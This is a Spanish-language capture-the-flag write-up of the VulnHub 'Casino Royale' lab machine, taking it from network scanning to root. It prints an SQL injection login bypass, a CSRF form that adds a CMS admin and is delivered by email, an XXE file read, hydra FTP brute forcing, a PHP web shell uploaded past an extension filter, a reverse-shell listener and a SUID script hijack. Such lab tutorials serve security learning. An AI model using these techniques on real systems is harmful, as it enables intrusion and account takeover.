Inicio VH - Casino Royale
Entrada
Cancelar

VH - Casino Royale

¡Hola! Vamos a resolver de la máquina Casino Royale de dificultad “Media” de la plataforma VulnHub.

Técnicas Vistas:

  • Web Enumeration
  • Abusing PokerMax - SQLI (SQL Injection)
  • Pokermax players management
  • Virtual Hosting
  • Snowfox CMS Exploitation - Cross-Site Request Forgery (Add Admin) [CSRF]
  • Abusing the SMTP service to send a fraudulent email in order to exploit the CSRF
  • Information Leakage
  • XXE Attack - XML External Entity Injection (Reading internal files)
  • FTP Brute Force - Hydra
  • Uploading malicious PHP file + Bypassing Restiction
  • Information Leakage - Reading config files
  • Abusing SUID privilege [Privilege Escalation]

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre MyExpenses. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Primero de todo necesitamos saber la IP de la máquina víctima que se encuentra funcionando dentro de nuestra red local. Procedemos a escanear todos los equipos de nuestra red local

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ arp-scan -I ens33 --localnet
Interface: ens33, type: EN10MB, MAC: 00:0c:29:0b:0e:02, IPv4: 192.168.1.145
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1	e4:ca:12:8c:78:a5	zte corporation
192.168.1.128	2c:f0:5d:0a:0a:f1	(Unknown)
192.168.1.134	9c:20:7b:b1:3e:47	Apple, Inc.
192.168.1.141	b8:bc:5b:e8:00:67	Samsung Electronics Co.,Ltd
192.168.1.147	00:0c:29:1c:30:6c	VMware, Inc.
192.168.1.130	ac:67:84:98:f6:07	(Unknown)
192.168.1.132	d8:a3:5c:73:eb:02	(Unknown)
192.168.1.138	00:55:da:56:56:66	IEEE Registration Authority

9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.942 seconds (131.82 hosts/sec). 8 responded

Tras analizar la respuesta del escaneo observamos por el OUI (Organizationally unique identifier) 00:0c:29 que corresponde a VMWare Inc ya que la máquina víctima funciona bajo un entorno de virtualización VMWare por lo que su IP es 192.168.1.147

Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 192.168.1.147
PING 192.168.1.147 (192.168.1.147) 56(84) bytes of data.
64 bytes from 192.168.1.140: icmp_seq=1 ttl=64 time=42.3 ms

--- 192.168.1.147 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 64.

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap -p- --open -sS --min-rate 5000 -n -v -Pn 192.168.1.147 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-12 11:57 CEST
Initiating ARP Ping Scan at 11:57
Scanning 192.168.1.147 [1 port]
Completed ARP Ping Scan at 11:57, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 11:57
Scanning 192.168.1.147 [65535 ports]
Discovered open port 80/tcp on 192.168.1.147
Discovered open port 21/tcp on 192.168.1.147
Discovered open port 25/tcp on 192.168.1.147
Discovered open port 8081/tcp on 192.168.1.147
Completed SYN Stealth Scan at 11:57, 2.69s elapsed (65535 total ports)
Nmap scan report for 192.168.1.147
Host is up (0.00022s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
25/tcp   open  smtp
80/tcp   open  http
8081/tcp open  blackice-icecap
MAC Address: 00:0C:29:1C:30:6C (VMware)

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap -sCV -p21,25,80,8081 192.168.1.147 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-12 11:57 CEST
Nmap scan report for casino-royale.local (192.168.1.147)
Host is up (0.00033s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
25/tcp   open  smtp    Postfix smtpd
| ssl-cert: Subject: commonName=casino
| Subject Alternative Name: DNS:casino
| Not valid before: 2018-11-17T20:14:11
|_Not valid after:  2028-11-14T20:14:11
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: casino.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
| http-robots.txt: 2 disallowed entries 
|_/cards /kboard
|_http-title: Site doesn't have a title (text/html).
8081/tcp open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 00:0C:29:1C:30:6C (VMware)

Antes de pasar al reconocimiento web realizaremos un escaneo con el script de nmap http-enum

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ nmap --script http-enum -p80,8081 192.168.1.147 -oN webScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-12 11:59 CEST
Nmap scan report for casino-royale.local (192.168.1.147)
Host is up (0.00032s latency).

PORT     STATE SERVICE
80/tcp   open  http
| http-enum: 
|   /robots.txt: Robots file
|   /phpmyadmin/: phpMyAdmin
|   /cards/: Potentially interesting folder
|   /includes/: Potentially interesting folder
|_  /install/: Potentially interesting folder
8081/tcp open  blackice-icecap
MAC Address: 00:0C:29:1C:30:6C (VMware)

Reconocimiento Web


Accedemos al servicio HTTP por el puerto 80 y observamos la página principal, una imagen y sin aparente funcionalidad

Accedemos al servicio HTTP por el puerto 8081 y observamos un botón Run Data Collect, pulsamos y vemos que apunta a un recurso collect.php pero vemos un error

Listamos el contenido de robots.txt en el puerto 80

Accedemos a los dos recursos presentados en robots.txt y observamos gifs sin funcionalidad y sin contenido oculto por esteganografía

Accedemos al recurso /install localizado en el escaneo de nmap con el script http-enum

Observamos que nos encontramos ante un software PokerMax Pro Poker League Software en su versión v0.13. Procedemos a buscar algún exploit asociado a esta versión

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ searchsploit pokermax
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                 |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PokerMax Poker League 0.13 - Insecure Cookie Handling                                                                                                                                          | php/webapps/6766.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
❯ searchsploit -x php/webapps/6766.txt
.
.
.
**************************************************************************************

Instructions :

Find the site running on this script .

Go to http://site.com/pokerleague/pokeradmin/configure.php

It will ask for login. Now in url tab run the exploit command

Then return back to http://site.com/pokerleague/pokeradmin/configure.php

Now u should be loggedin as admin and change the thing into what you want .

**************************************************************************************
.
.
.

Examinando el contenido vemos que se puede asignar una cookie como usuario admin. Localizamos una posible ruta en /pokeradmin. Accedemos y verificamos que existe y vemos un panel de login

Porbamos inyección admin' or 1=1-- - y logramos bypassear el panel de login

Nos econtramos ante el panel de administración de PokerMax

Enumerando el panel observamos en la lista de jugadores a la usuaria valenka que es la única con email registrado

Clickamos en Edit Info y localizamos información sensible en el perfil. Este usuario es el Project manager de varios clientes. Vemos una ruta /vip-client-portfolios/?uri=blog y un host que debemos añadir a nuestro /etc/hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat /etc/hosts
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: /etc/hosts
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Host addresses
   2   │ 127.0.0.1  localhost
   3   │ 127.0.1.1  parrot
   4   │ ::1        localhost ip6-localhost ip6-loopback
   5   │ ff02::1    ip6-allnodes
   6   │ ff02::2    ip6-allrouters
   7   │ # Others
   8   │ 
   9   │ 192.168.1.147 casino-royale.local
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Accedemos al recurso encontrado y nos econtramos ante un Snowfox CMS

Examinando el blog observamos un post con información interesante

Parece que valenka revisa los email de los clientes. Recordemos que tenemos el puerto 25 abierto con el servicio SMTP. Nos conectamos al servicio con telnet y comprobamos que le podamos enviar un email con un enlace a un servidor HTTP que estará alojado en nuestra máquina de atacante, si recibimos la petición confirmaremos que se puede acontecer un ataque CSRF

Hemos confirmado que valenka revisa el enlace que le pasamos por correo. Buscamos vulenrabilidades asociadas al gestor de contenido Snowfox y localizamos una plantilla em HTML para crear un usuario administrador en el gestor de contenido

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ searchsploit snowfox
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                 |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Snowfox CMS 1.0 - Cross-Site Request Forgery (Add Admin)                                                                                                                                       | php/webapps/35301.html
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
❯ searchsploit -x php/webapps/35301.html
.
.
.
<html>
  <body>
    <form action="http://10.0.18.3/snowfox/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="lab@zeroscience.mk" />
      <input type="hidden" name="verifiedEmail" value="verified" />
      <input type="hidden" name="username" value="USERNAME" />
      <input type="hidden" name="newPassword" value="PASSWORD" />
      <input type="hidden" name="confirmPassword" value="PASSWORD" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

Modificamos la plantilla de la siguiente forma

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
cat test.html
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: test.html
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ <html>
   2   │   <body>
   3   │     <form action="http://casino-royale.local/vip-client-portfolios/?uri=admin/accounts/create" method="POST">
   4   │       <input type="hidden" name="emailAddress" value="yorch@yorch.com" />
   5   │       <input type="hidden" name="verifiedEmail" value="verified" />
   6   │       <input type="hidden" name="username" value="yorch" />
   7   │       <input type="hidden" name="newPassword" value="yorch123" />
   8   │       <input type="hidden" name="confirmPassword" value="yorch123" />
   9   │       <input type="hidden" name="userGroups[]" value="34" />
  10   │       <input type="hidden" name="userGroups[]" value="33" />
  11   │       <input type="hidden" name="memo" value="CSRFmemo" />
  12   │       <input type="hidden" name="status" value="1" />
  13   │       <input type="hidden" name="formAction" value="submit" />
  14   │       <input type="submit" value="Submit form" />
  15   │     </form>
  16   │   </body>
  17   │ </html>
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Servimos la plantilla con un servidor HTTP con Python y nuevamente enviamos un correo a valenka

Tras recibir la petición confirmamos que nos podemos conectar con el usuario creado al gestor de contenido Snowfox como admin

Enumeramos panel de administración y observamos dentro de Admin/Users/Manage Accounts una lista de los usuarios. Dentro de la ficha del usuario le encontramos información a una nueva ruta

Accedemos y observamos el siguiente contenido

Examinamos el código fuente y vemos que a través de una petición POST se puede tramitar una estructura XML

Recargamos la página y capturamos petición con BurpSuite. Cambiamos el request method a POST e insertamos una estructura XML con los campos descubiertos en el código fuente

Tras confirmar que la interpreta correctamente introducimos una cabecera en XML para tratar de acontecer un ataque XXE y poder leer recursos de la máquina víctima

Observamos en el /etc/passwd de la máquina el usuario ftpUserULTRA cuyo home se aloja en /var/www/html/ultra-access-view. Comprobamos que hay capacidad de directory lsiting en este recurso a través de la web

Sabiendo el usuario procedemos a realizar un ataque por fierza bruta con hydra sobre el servicio FTP con el usuario ftpUserULTRA y el diccionario rockyou.txt

1
2
3
4
5
6
7
8
9
❯ hydra -l ftpUserULTRA -P rockyou.txt ftp://192.168.1.147 -t 15
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-12 13:04:31
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ftp://192.168.1.147:21/
[21][ftp] host: 192.168.1.147   login: ftpUserULTRA   password: bankbank
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-12 13:04:42

Nos conectamos por FTP con las credenciales obtenidas y observamos que estamos ante el directorio que tenemos capacidad de directory listing via web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ ftp 192.168.1.147
Connected to 192.168.1.147.
220 Customer Access Level: ULTRA
Name (192.168.1.147:yorch): ftpUserULTRA
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Desktop
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Documents
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Downloads
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Music
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Pictures
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Public
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Templates
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Videos
-rw-r--r--    1 0        0             191 Feb 22  2019 battle2root.html
-rwxr-xr-x    1 0        0              76 Feb 20  2019 hello_world.pl
-rwxr-xr-x    1 1002     1002         1131 Feb 21  2019 main.php
226 Directory send OK.

En este punto tratamos de subir un archivo PHP con código malicioso con la intención de obtener RCE en la mñáquina víctima. Si tratamos de subir el archiv con extensión PHP nos bloquea la subida. Para bypassear esta restricción crearemos el archivo con extensión php3

1
2
3
4
5
6
7
8
cat cmd.php3
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: cmd.php3
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ <?php
   2   │     system($_GET['cmd']);
   3   │ ?>
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Subimos el archivo y le damos permisos 777

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ftp> put cmd.php3
local: cmd.php3 remote: cmd.php3
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
32 bytes sent in 0.00 secs (504.0323 kB/s)
ftp> chmod 777 cmd.php3
200 SITE CHMOD command ok.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x   14 1002     33           4096 May 12 07:08 .
drwxrwxr-x   14 1002     33           4096 May 12 07:08 ..
-rw-------    1 1002     1002           51 Feb 22  2019 .Xauthority
drwxr-xr-x    3 1002     1002         4096 Feb 22  2019 .cache
drwx------    5 1002     1002         4096 Feb 22  2019 .config
-rw-r--r--    1 1002     1002           55 Feb 22  2019 .dmrc
drwx------    3 1002     1002         4096 Feb 22  2019 .gnupg
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 .wicd
-rw-------    1 1002     1002         2766 Feb 22  2019 .xsession-errors
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Desktop
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Documents
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Downloads
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Music
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Pictures
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Public
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Templates
drwxr-xr-x    2 1002     1002         4096 Feb 22  2019 Videos
-rw-r--r--    1 0        0             191 Feb 22  2019 battle2root.html
-rwxrwxrwx    1 1002     1002           32 May 12 07:08 cmd.php3
-rwxr-xr-x    1 0        0              76 Feb 20  2019 hello_world.pl
-rwxr-xr-x    1 1002     1002         1131 Feb 21  2019 main.php
226 Directory send OK.

Confirmamos que tenemos acceso al archivo via web y que tenemos capacidad de RCE

En este punto nos ponemos en escucha en el puerto 443 con netcat y ejecutamos oneliner para entablarnos una revserse shell

1
2
3
4
5
6
7
sudo nc -nlvp 443
[sudo] password for yorch: 
listening on [any] 443 ...
connect to [192.168.1.145] from (UNKNOWN) [192.168.1.147] 38846
bash: cannot set terminal process group (726): Inappropriate ioctl for device
bash: no job control in this shell
www-data@casino:/var/www/html/ultra-access-view$

Movimiento Lateral


Enumerando archivos de configuración localizamos config.inc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@casino:/var/www/html$ find -name \*config\* 2>/dev/null
./ultra-access-view/.config
./vip-client-portfolios/config.inc.php
./vip-client-portfolios/languages/zh-cn/installer/controllers/setconfigurations.ini
./vip-client-portfolios/languages/zh-cn/installer/packages/system/controllers/components/configfileinstructions.ini
./vip-client-portfolios/languages/en-us/installer/controllers/setconfigurations.ini
./vip-client-portfolios/languages/en-us/installer/packages/system/controllers/components/configfileinstructions.ini
./vip-client-portfolios/modules/installer/controllers/setcustomconfigurations.class.php
./vip-client-portfolios/modules/installer/controllers/setconfigurations.class.php
./vip-client-portfolios/modules/installer/packages/system/controllers/components/configfileinstructions.class.php
./vip-client-portfolios/modules/installer/packages/system/views/components/configfileinstructions.view.php
./vip-client-portfolios/modules/core/config.class.php
./vip-client-portfolios/modules/system/libs/ckeditor/config.js
./vip-client-portfolios/modules/system/libs/ckeditor/build-config.js
./includes/config.php
./pokeradmin/configure.php

Listamos su contenido y encontramos credenciales de valenka

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@casino:/var/www/html/vip-client-portfolios$ cat config.inc.php 
<?php
self::$cfg['dbDebugMode'] = false;
self::$cfg['dbServer'] = 'localhost';
self::$cfg['dbUser'] = 'valenka';
self::$cfg['dbPass'] = '11archives11!';
self::$cfg['dbName'] = 'vip';
self::$cfg['dbTablePrefix'] = 'sfc_';
self::$cfg['activeTheme'] = 'default';
self::$cfg['defaultLanguage'] = 'en-us';
self::$cfg['cookiePrefix'] = 'sfc_';
self::$cfg['systemSalt'] = '7af76f2c2b0ddba579c42442ca264c45';
self::$cfg['domain'] = 'casino-royale.local';
self::$cfg['webFolder'] = '/vip-client-portfolios/';

Logramos migrar al usuario valenka con las credenciales obtenidas

1
2
3
4
www-data@casino:/var/www/html/vip-client-portfolios$ su valenka
Password: 
valenka@casino:/var/www/html/vip-client-portfolios$ whoami
valenka

Escalada de Privilegios


Listando archivos del sistema con privilegios SUID localizamos un binario mi6_detect_test dentro de la carpeta /opt/casino-royale

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
valenka@casino:/$ find \-perm -4000 2>/dev/null
./opt/casino-royale/mi6_detect_test
./usr/lib/policykit-1/polkit-agent-helper-1
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/xorg/Xorg.wrap
./usr/lib/openssh/ssh-keysign
./usr/lib/eject/dmcrypt-get-device
./usr/sbin/userhelper
./usr/bin/gpasswd
./usr/bin/sudo
./usr/bin/chfn
./usr/bin/chsh
./usr/bin/newgrp
./usr/bin/passwd
./usr/bin/pkexec
./bin/su
./bin/ntfs-3g
./bin/ping
./bin/umount
./bin/mount
./bin/fusermount
valenka@casino:/$ ls -l /opt/casino-royale/
total 40
-rwxrw---- 1 le   www-data  210 Feb 20  2019 casino-data-collection.py
-rw------- 1 le   le         40 Feb 22  2019 closer2root.txt
-rw-r--r-- 1 root root       79 Feb 20  2019 collect.php
-rwxr-xr-x 1 root root      174 Feb 21  2019 index.html
-rwsr-sr-x 1 root root     8696 Feb 20  2019 mi6_detect_test
-rwxrwxr-x 1 le   le         54 Feb 20  2019 php-web-start.sh
-rwxr-x--- 1 le   le        402 Feb 20  2019 run.sh
-rwxrwxr-x 1 le   le         71 Feb 20  2019 user-data.log

Con la utilidad strings listamos contenido del binario y observamos que al ejecutarlo llama a un script run.sh de forma relativa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
valenka@casino:/opt/casino-royale$ strings mi6_detect_test 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__cxa_finalize
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
=W	
AWAVA
AUATL
[]A\A]A^A_
/bin/bash run.sh
.
.
.

Vamos a la carpeta /tmp y creamos nuestro script run.sh el cual asigne privilegios SUID a la bash

1
2
valenka@casino:/tmp$ cat run.sh
chmod u+s /bin/bash

Ejecutamos el script y verificamos permisos de la bash

1
2
3
valenka@casino:/tmp$ /opt/casino-royale/mi6_detect_test 
valenka@casino:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15  2017 /bin/bash

Con el comando bash -p nos lanzamos una bash con privilegios de root

1
2
3
valenka@casino:/tmp$ bash -p
bash-4.4# whoami
root

Accedemos al directorio root para localizar la flag que en este caso está en un archivo HTML. Lanzamos un servidor HTTP con PHP y accedemos via web

1
2
3
4
5
6
7
8
9
10
11
12
bash-4.4# pwd
/root/flag
bash-4.4# ls -l
total 12
drwxr-xr-x 2 root root 4096 Feb 20  2019 files
-rwx------ 1 root root  354 Feb 20  2019 flag.sh
-rw-r--r-- 1 root root  854 Feb 20  2019 index.php
bash-4.4# php -S 0.0.0.0:8989
PHP 5.6.38-2+0~20181015120829.6+stretch~1.gbp567807 Development Server started at Fri May 12 07:26:10 2023
Listening on http://0.0.0.0:8989
Document root is /root/flag
Press Ctrl-C to quit.

Hemos completado la máquina Casino Royale de VulnHub!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.